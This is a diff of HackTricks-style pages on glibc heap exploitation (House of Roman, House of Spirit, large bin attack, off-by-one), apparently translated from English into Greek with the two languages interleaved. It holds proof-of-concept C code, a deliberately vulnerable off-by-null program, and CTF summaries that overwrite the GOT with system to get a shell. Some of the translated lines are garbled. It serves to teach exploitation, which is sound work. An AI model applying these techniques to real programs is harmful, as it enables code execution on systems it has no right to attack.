- Αλλάζοντας απλώς το τελευταίο byte του `fastbin_victim.fd`, είναι δυνατόν να κάνουμε το `fastbin_victim points` να δείχνει στο `main_arena + 0x68`
|
||||
|
||||
-  `fastbin_victim` has a `fd` pointing to `relative_offset_heap`
|
||||
-  `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
|
||||
- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
|
||||
Για τις προηγούμενες ενέργειες, ο επιτιθέμενος πρέπει να είναι ικανός να τροποποιήσει τον δείκτη fd του `fastbin_victim`.
|
||||
|
||||
For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`.
|
||||
Στη συνέχεια, το `main_arena + 0x68` δεν είναι τόσο ενδιαφέρον, οπότε ας το τροποποιήσουμε ώστε ο δείκτης να δείχνει στο **`__malloc_hook`**.
|
||||
|
||||
Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**.
|
||||
Σημειώστε ότι το `__memalign_hook` συνήθως ξεκινά με `0x7f` και μηδενικά πριν από αυτό, οπότε είναι δυνατόν να το πλαστογραφήσουμε ως μια τιμή στο γρήγορο bin `0x70`. Επειδή τα τελευταία 4 bits της διεύθυνσης είναι **τυχαία**, υπάρχουν `2^4=16` πιθανότητες για την τιμή να καταλήξει να δείχνει εκεί που μας ενδιαφέρει. Έτσι, εκτελείται μια επίθεση BF εδώ ώστε το chunk να καταλήξει ως: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
|
||||
|
||||
Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
|
||||
|
||||
(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
|
||||
|
||||
Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
|
||||
(Για περισσότερες πληροφορίες σχετικά με τα υπόλοιπα bytes, ελέγξτε την εξήγηση στο [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ παράδειγμα](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Αν η BF δεν λειτουργήσει, το πρόγραμμα απλώς θα καταρρεύσει (οπότε ξεκινήστε ξανά μέχρι να λειτουργήσει).
|
||||
|
||||
Στη συνέχεια, εκτελούνται 2 mallocs για να αφαιρεθούν τα 2 αρχικά fast bin chunks και ένας τρίτος εκχωρείται για να αποκτήσει ένα chunk στο **`__malloc_hook:`**
|
||||
```c
|
||||
malloc(0x60);
|
||||
malloc(0x60);
|
||||
uint8_t* malloc_hook_chunk = malloc(0x60);
|
||||
```
|
||||
### Μέρος 2: Επίθεση Unsorted_bin
|
||||
|
||||
### Part 2: Unsorted_bin attack
|
||||
|
||||
For more info you can check:
|
||||
Για περισσότερες πληροφορίες μπορείτε να ελέγξετε:
|
||||
|
||||
{{#ref}}
|
||||
unsorted-bin-attack.md
|
||||
{{#endref}}
|
||||
|
||||
But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`.
|
||||
|
||||
For this we start getting a chunk and putting it into the **unsorted bin**:
|
||||
Αλλά βασικά επιτρέπει να γράψουμε `main_arena + 0x68` σε οποιαδήποτε τοποθεσία καθορίζεται στο `chunk->bk`. Και για την επίθεση επιλέγουμε `__malloc_hook`. Στη συνέχεια, αφού το παρακάμψουμε, θα χρησιμοποιήσουμε μια σχετική παρακάμψη για να δείξουμε σε ένα `one_gadget`.
|
||||
|
||||
Για αυτό ξεκινάμε να αποκτούμε ένα chunk και να το βάζουμε στο **unsorted bin**:
|
||||
```c
|
||||
uint8_t* unsorted_bin_ptr = malloc(0x80);
|
||||
malloc(0x30); // Don't want to consolidate
|
||||
@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n");
|
||||
// Free the chunk to create the UAF
|
||||
free(unsorted_bin_ptr);
|
||||
```
|
||||
|
||||
Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
|
||||
Χρησιμοποιήστε ένα UAF σε αυτό το κομμάτι για να δείξετε το `unsorted_bin_ptr->bk` στη διεύθυνση του `__malloc_hook` (το έχουμε brute forced προηγουμένως).
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.**
|
||||
> Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (άρα και το small και το large). Έτσι, μπορούμε μόνο **να χρησιμοποιήσουμε allocations από το fast bin τώρα** (ένα πιο περίπλοκο πρόγραμμα μπορεί να κάνει άλλες allocations και να καταρρεύσει), και για να το ενεργοποιήσουμε πρέπει **να κάνουμε alloc το ίδιο μέγεθος ή το πρόγραμμα θα καταρρεύσει.**
|
||||
|
||||
So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`**
|
||||
Έτσι, για να ενεργοποιήσουμε την εγγραφή του `main_arena + 0x68` στο `__malloc_hook`, εκτελούμε μετά την ρύθμιση του `__malloc_hook` στο `unsorted_bin_ptr->bk` απλά χρειάζεται να κάνουμε: **`malloc(0x80)`**
|
||||
|
||||
### Step 3: Set \_\_malloc_hook to system
|
||||
### Βήμα 3: Ρύθμιση του \_\_malloc_hook σε system
|
||||
|
||||
In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here.
|
||||
Στο πρώτο βήμα ελέγχαμε ένα κομμάτι που περιέχει το `__malloc_hook` (στη μεταβλητή `malloc_hook_chunk`) και στο δεύτερο βήμα καταφέραμε να γράψουμε το `main_arena + 0x68` εδώ.
|
||||
|
||||
Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**.
|
||||
Τώρα, εκμεταλλευόμαστε μια μερική υπεργραφή στο `malloc_hook_chunk` για να χρησιμοποιήσουμε τη διεύθυνση libc που γράψαμε εκεί (`main_arena + 0x68`) για να **δείξουμε σε μια διεύθυνση `one_gadget`**.
|
||||
|
||||
Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
|
||||
Εδώ είναι που χρειάζεται να **bruteforce 12 bits τυχαίας τιμής** (περισσότερες πληροφορίες στο [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ παράδειγμα](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
|
||||
|
||||
Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**.
|
||||
Τέλος, μόλις η σωστή διεύθυνση υπεργραφεί, **καλέστε το `malloc` και ενεργοποιήστε το `one_gadget`**.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
|
||||
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
|
||||
|
||||
@ -9,7 +9,6 @@
|
||||
<details>
|
||||
|
||||
<summary>House of Spirit</summary>
|
||||
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
@ -19,99 +18,96 @@
|
||||
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
||||
|
||||
struct fast_chunk {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct fast_chunk *fd;
|
||||
struct fast_chunk *bk;
|
||||
char buf[0x20]; // chunk falls in fastbin size range
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct fast_chunk *fd;
|
||||
struct fast_chunk *bk;
|
||||
char buf[0x20]; // chunk falls in fastbin size range
|
||||
};
|
||||
|
||||
int main() {
|
||||
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||||
void *ptr, *victim;
|
||||
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||||
void *ptr, *victim;
|
||||
|
||||
ptr = malloc(0x30);
|
||||
ptr = malloc(0x30);
|
||||
|
||||
printf("Original alloc address: %p\n", ptr);
|
||||
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||||
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||||
printf("Original alloc address: %p\n", ptr);
|
||||
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||||
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||||
|
||||
// Passes size check of "free(): invalid size"
|
||||
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||||
// Passes size check of "free(): invalid size"
|
||||
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Passes "free(): invalid next size (fast)"
|
||||
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||||
// Passes "free(): invalid next size (fast)"
|
||||
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Attacker overwrites a pointer that is about to be 'freed'
|
||||
// Point to .fd as it's the start of the content of the chunk
|
||||
ptr = (void *)&fake_chunks[0].fd;
|
||||
// Attacker overwrites a pointer that is about to be 'freed'
|
||||
// Point to .fd as it's the start of the content of the chunk
|
||||
ptr = (void *)&fake_chunks[0].fd;
|
||||
|
||||
free(ptr);
|
||||
free(ptr);
|
||||
|
||||
victim = malloc(0x30);
|
||||
printf("Victim: %p\n", victim);
|
||||
victim = malloc(0x30);
|
||||
printf("Victim: %p\n", victim);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Goal
|
||||
### Στόχος
|
||||
|
||||
- Be able to add into the tcache / fast bin an address so later it's possible to allocate it
|
||||
- Να είναι δυνατή η προσθήκη μιας διεύθυνσης στο tcache / fast bin ώστε αργότερα να είναι δυνατή η εκχώρησή της.
|
||||
|
||||
### Requirements
|
||||
### Απαιτήσεις
|
||||
|
||||
- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin.
|
||||
- Αυτή η επίθεση απαιτεί από τον επιτιθέμενο να είναι σε θέση να δημιουργήσει μερικά ψεύτικα fast chunks που να υποδεικνύουν σωστά την τιμή μεγέθους τους και στη συνέχεια να είναι σε θέση να απελευθερώσει το πρώτο ψεύτικο chunk ώστε να εισέλθει στο bin.
|
||||
|
||||
### Attack
|
||||
### Επίθεση
|
||||
|
||||
- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes
|
||||
- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address
|
||||
|
||||
**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
|
||||
- Δημιουργήστε ψεύτικα chunks που παρακάμπτουν τους ελέγχους ασφαλείας: θα χρειαστείτε 2 ψεύτικα chunks που να υποδεικνύουν στις σωστές θέσεις τα σωστά μεγέθη.
|
||||
- Κά somehow manage να απελευθερώσετε το πρώτο ψεύτικο chunk ώστε να εισέλθει στο fast ή tcache bin και στη συνέχεια να εκχωρηθεί για να αντικαταστήσει αυτή τη διεύθυνση.
|
||||
|
||||
**Ο κώδικας από** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **είναι εξαιρετικός για να κατανοήσετε την επίθεση.** Αν και αυτό το σχήμα από τον κώδικα το συνοψίζει αρκετά καλά:
|
||||
```c
|
||||
/*
|
||||
this will be the structure of our two fake chunks:
|
||||
assuming that you compiled it for x64
|
||||
this will be the structure of our two fake chunks:
|
||||
assuming that you compiled it for x64
|
||||
|
||||
+-------+---------------------+------+
|
||||
| 0x00: | Chunk # 0 prev size | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x08: | Chunk # 0 size | 0x60 |
|
||||
+-------+---------------------+------+
|
||||
| 0x10: | Chunk # 0 content | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x60: | Chunk # 1 prev size | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x68: | Chunk # 1 size | 0x40 |
|
||||
+-------+---------------------+------+
|
||||
| 0x70: | Chunk # 1 content | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
+-------+---------------------+------+
|
||||
| 0x00: | Chunk # 0 prev size | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x08: | Chunk # 0 size | 0x60 |
|
||||
+-------+---------------------+------+
|
||||
| 0x10: | Chunk # 0 content | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x60: | Chunk # 1 prev size | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x68: | Chunk # 1 size | 0x40 |
|
||||
+-------+---------------------+------+
|
||||
| 0x70: | Chunk # 1 content | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
|
||||
for what we are doing the prev size values don't matter too much
|
||||
the important thing is the size values of the heap headers for our fake chunks
|
||||
for what we are doing the prev size values don't matter too much
|
||||
the important thing is the size values of the heap headers for our fake chunks
|
||||
*/
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Note that it's necessary to create the second chunk in order to bypass some sanity checks.
|
||||
> Σημειώστε ότι είναι απαραίτητο να δημιουργηθεί το δεύτερο κομμάτι για να παρακαμφθούν ορισμένοι έλεγχοι εγκυρότητας.
|
||||
|
||||
## Examples
|
||||
## Παραδείγματα
|
||||
|
||||
- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
|
||||
|
||||
- **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
|
||||
- **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\
|
||||
Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.
|
||||
- **Libc infoleak**: Μέσω μιας υπερχείλισης είναι δυνατόν να αλλάξει ένας δείκτης ώστε να δείχνει σε μια διεύθυνση GOT προκειμένου να διαρρεύσει μια διεύθυνση libc μέσω της ενέργειας ανάγνωσης του CTF
|
||||
- **House of Spirit**: Εκμεταλλευόμενοι έναν μετρητή που μετρά τον αριθμό των "τουφεκιών", είναι δυνατόν να παραχθεί ένα ψεύτικο μέγεθος του πρώτου ψεύτικου κομματιού, στη συνέχεια εκμεταλλευόμενοι ένα "μήνυμα" είναι δυνατόν να παραποιηθεί το δεύτερο μέγεθος ενός κομματιού και τελικά εκμεταλλευόμενοι μια υπερχείλιση είναι δυνατόν να αλλάξει ένας δείκτης που πρόκειται να απελευθερωθεί ώστε το πρώτο ψεύτικο κομμάτι να απελευθερωθεί. Στη συνέχεια, μπορούμε να το εκχωρήσουμε και μέσα σε αυτό θα υπάρχει η διεύθυνση όπου αποθηκεύεται το "μήνυμα". Στη συνέχεια, είναι δυνατόν να κάνουμε αυτό να δείχνει στην είσοδο `scanf` μέσα στον πίνακα GOT, ώστε να μπορούμε να το αντικαταστήσουμε με τη διεύθυνση του system.\
|
||||
Την επόμενη φορά που θα κληθεί το `scanf`, μπορούμε να στείλουμε την είσοδο `"/bin/sh"` και να αποκτήσουμε ένα shell.
|
||||
|
||||
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
|
||||
- **Glibc leak**: Uninitialized stack buffer.
|
||||
- **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.
|
||||
- **Glibc leak**: Μη αρχικοποιημένος buffer στο stack.
|
||||
- **House of Spirit**: Μπορούμε να τροποποιήσουμε τον πρώτο δείκτη ενός παγκόσμιου πίνακα δεικτών heap. Με μια μόνο τροποποίηση byte, χρησιμοποιούμε `free` σε ένα ψεύτικο κομμάτι μέσα σε ένα έγκυρο κομμάτι, έτσι ώστε να προκύψει μια κατάσταση επικαλυπτόμενων κομματιών μετά την εκ νέου εκχώρηση. Με αυτό, μια απλή επίθεση δηλητηρίασης Tcache λειτουργεί για να αποκτήσουμε μια αυθαίρετη γραφή.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)
|
||||
|
||||
|
||||
@ -4,55 +4,53 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
For more information about what is a large bin check this page:
|
||||
Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα large bin, ελέγξτε αυτή τη σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
|
||||
Είναι δυνατόν να βρείτε ένα εξαιρετικό παράδειγμα στο [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
|
||||
|
||||
Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met.
|
||||
Βασικά, εδώ μπορείτε να δείτε πώς, στην τελευταία "τρέχουσα" έκδοση του glibc (2.35), δεν ελέγχεται: **`P->bk_nextsize`** επιτρέποντας την τροποποίηση μιας αυθαίρετης διεύθυνσης με την τιμή ενός large bin chunk αν πληρούνται ορισμένες προϋποθέσεις.
|
||||
|
||||
In that example you can find the following conditions:
|
||||
Σε αυτό το παράδειγμα μπορείτε να βρείτε τις εξής προϋποθέσεις:
|
||||
|
||||
- A large chunk is allocated
|
||||
- A large chunk smaller than the first one but in the same index is allocated
|
||||
- Must be smalled so in the bin it must go first
|
||||
- (A chunk to prevent merging with the top chunk is created)
|
||||
- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin
|
||||
- Then, the second large chunk is freed
|
||||
- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]`
|
||||
- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2
|
||||
- Ένα μεγάλο chunk έχει κατανεμηθεί
|
||||
- Ένα μεγάλο chunk μικρότερο από το πρώτο αλλά στην ίδια θέση έχει κατανεμηθεί
|
||||
- Πρέπει να είναι μικρότερο ώστε να πάει πρώτο στο bin
|
||||
- (Ένα chunk για να αποτραπεί η συγχώνευση με το top chunk έχει δημιουργηθεί)
|
||||
- Στη συνέχεια, το πρώτο μεγάλο chunk απελευθερώνεται και ένα νέο chunk μεγαλύτερο από αυτό κατανεμηθεί -> Chunk1 πηγαίνει στο large bin
|
||||
- Στη συνέχεια, το δεύτερο μεγάλο chunk απελευθερώνεται
|
||||
- Τώρα, η ευπάθεια: Ο επιτιθέμενος μπορεί να τροποποιήσει `chunk1->bk_nextsize` σε `[target-0x20]`
|
||||
- Στη συνέχεια, ένα μεγαλύτερο chunk από το chunk 2 κατανεμηθεί, έτσι το chunk2 εισάγεται στο large bin αντικαθιστώντας τη διεύθυνση `chunk1->bk_nextsize->fd_nextsize` με τη διεύθυνση του chunk2
|
||||
|
||||
> [!TIP]
|
||||
> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to.
|
||||
|
||||
This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
|
||||
> Υπάρχουν άλλα πιθανά σενάρια, το θέμα είναι να προσθέσουμε στο large bin ένα chunk που είναι **μικρότερο** από ένα τρέχον X chunk στο bin, έτσι πρέπει να εισαχθεί ακριβώς πριν από αυτό στο bin, και πρέπει να μπορούμε να τροποποιήσουμε το **`bk_nextsize`** του X καθώς εκεί θα γραφτεί η διεύθυνση του μικρότερου chunk.
|
||||
|
||||
Αυτός είναι ο σχετικός κώδικας από το malloc. Έχουν προστεθεί σχόλια για να κατανοήσουμε καλύτερα πώς η διεύθυνση αντικαταστάθηκε:
|
||||
```c
|
||||
/* if smaller than smallest, bypass loop below */
|
||||
assert (chunk_main_arena (bck->bk));
|
||||
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
|
||||
{
|
||||
fwd = bck; // fwd = p1
|
||||
bck = bck->bk; // bck = p1->bk
|
||||
{
|
||||
fwd = bck; // fwd = p1
|
||||
bck = bck->bk; // bck = p1->bk
|
||||
|
||||
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
|
||||
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
|
||||
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
|
||||
}
|
||||
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
|
||||
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
|
||||
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
|
||||
}
|
||||
```
|
||||
Αυτό θα μπορούσε να χρησιμοποιηθεί για να **επικαλύψει τη μεταβλητή `global_max_fast` της libc** για να εκμεταλλευτεί μια επίθεση fast bin με μεγαλύτερα κομμάτια.
|
||||
|
||||
This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks.
|
||||
Μπορείτε να βρείτε μια άλλη εξαιρετική εξήγηση αυτής της επίθεσης στο [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
|
||||
|
||||
You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
|
||||
|
||||
### Other examples
|
||||
### Άλλα παραδείγματα
|
||||
|
||||
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
|
||||
- Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
|
||||
- The write primitive is more complex, because `global_max_fast` is useless here.
|
||||
- FSOP is needed to finish the exploit.
|
||||
- Επίθεση large bin στην ίδια κατάσταση όπως εμφανίζεται στο [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
|
||||
- Η primitive εγγραφής είναι πιο περίπλοκη, επειδή το `global_max_fast` είναι άχρηστο εδώ.
|
||||
- Χρειάζεται FSOP για να ολοκληρωθεί η εκμετάλλευση.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,112 +4,110 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks.
|
||||
Η πρόσβαση σε μια υπερχείλιση 1B επιτρέπει σε έναν επιτιθέμενο να τροποποιήσει το πεδίο `size` από το επόμενο κομμάτι. Αυτό επιτρέπει την παρέμβαση στο ποια κομμάτια είναι πραγματικά ελεύθερα, ενδεχομένως δημιουργώντας ένα κομμάτι που περιέχει ένα άλλο έγκυρο κομμάτι. Η εκμετάλλευση είναι παρόμοια με το [double free](double-free.md) ή τα επικαλυπτόμενα κομμάτια.
|
||||
|
||||
There are 2 types of off by one vulnerabilities:
|
||||
Υπάρχουν 2 τύποι ευπαθειών off by one:
|
||||
|
||||
- Arbitrary byte: This kind allows to overwrite that byte with any value
|
||||
- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00
|
||||
- A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk.
|
||||
- This can be expoited with the [House of Einherjar](house-of-einherjar.md).
|
||||
- If using Tcache, this can be leveraged to a [double free](double-free.md) situation.
|
||||
- Arbitrary byte: Αυτός ο τύπος επιτρέπει την επαναγραφή αυτού του byte με οποιαδήποτε τιμή
|
||||
- Null byte (off-by-null): Αυτός ο τύπος επιτρέπει την επαναγραφή αυτού του byte μόνο με 0x00
|
||||
- Ένα κοινό παράδειγμα αυτής της ευπάθειας μπορεί να παρατηρηθεί στον παρακάτω κώδικα όπου η συμπεριφορά των `strlen` και `strcpy` είναι ασυνεπής, γεγονός που επιτρέπει την τοποθέτηση ενός byte 0x00 στην αρχή του επόμενου κομματιού.
|
||||
- Αυτό μπορεί να εκμεταλλευτεί με το [House of Einherjar](house-of-einherjar.md).
|
||||
- Εάν χρησιμοποιείται Tcache, αυτό μπορεί να αξιοποιηθεί σε μια κατάσταση [double free](double-free.md).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Off-by-null</summary>
|
||||
|
||||
```c
|
||||
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
|
||||
int main(void)
|
||||
{
|
||||
char buffer[40]="";
|
||||
void *chunk1;
|
||||
chunk1 = malloc(24);
|
||||
puts("Get Input");
|
||||
gets(buffer);
|
||||
if(strlen(buffer)==24)
|
||||
{
|
||||
strcpy(chunk1,buffer);
|
||||
}
|
||||
return 0;
|
||||
char buffer[40]="";
|
||||
void *chunk1;
|
||||
chunk1 = malloc(24);
|
||||
puts("Get Input");
|
||||
gets(buffer);
|
||||
if(strlen(buffer)==24)
|
||||
{
|
||||
strcpy(chunk1,buffer);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28.
|
||||
Μεταξύ άλλων ελέγχων, τώρα κάθε φορά που ένα κομμάτι είναι ελεύθερο, το προηγούμενο μέγεθος συγκρίνεται με το μέγεθος που έχει ρυθμιστεί στο κομμάτι των μεταδεδομένων, καθιστώντας αυτή την επίθεση αρκετά περίπλοκη από την έκδοση 2.28.
|
||||
|
||||
### Code example:
|
||||
### Παράδειγμα κώδικα:
|
||||
|
||||
- [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
|
||||
- This attack is no longer working due to the use of Tcaches.
|
||||
- Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)`
|
||||
- Αυτή η επίθεση δεν λειτουργεί πλέον λόγω της χρήσης Tcaches.
|
||||
- Επιπλέον, αν προσπαθήσετε να την εκμεταλλευτείτε χρησιμοποιώντας μεγαλύτερα κομμάτια (έτσι ώστε να μην εμπλέκονται τα tcaches), θα λάβετε το σφάλμα: `malloc(): invalid next size (unsorted)`
|
||||
|
||||
### Goal
|
||||
### Στόχος
|
||||
|
||||
- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one
|
||||
- Να περιέχεται ένα κομμάτι μέσα σε ένα άλλο κομμάτι, έτσι ώστε η πρόσβαση εγγραφής σε αυτό το δεύτερο κομμάτι να επιτρέπει την αντικατάσταση του περιεχόμενου.
|
||||
|
||||
### Requirements
|
||||
### Απαιτήσεις
|
||||
|
||||
- Off by one overflow to modify the size metadata information
|
||||
- Off by one overflow για να τροποποιηθεί η πληροφορία μεγέθους των μεταδεδομένων.
|
||||
|
||||
### General off-by-one attack
|
||||
### Γενική επίθεση off-by-one
|
||||
|
||||
- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk.
|
||||
- Free `C` (inserted into 0x20 Tcache free-list).
|
||||
- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41.
|
||||
- Now we have `B` containing the free chunk `C`
|
||||
- Free `B` and allocate a 0x40 chunk (it will be placed here again)
|
||||
- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning)
|
||||
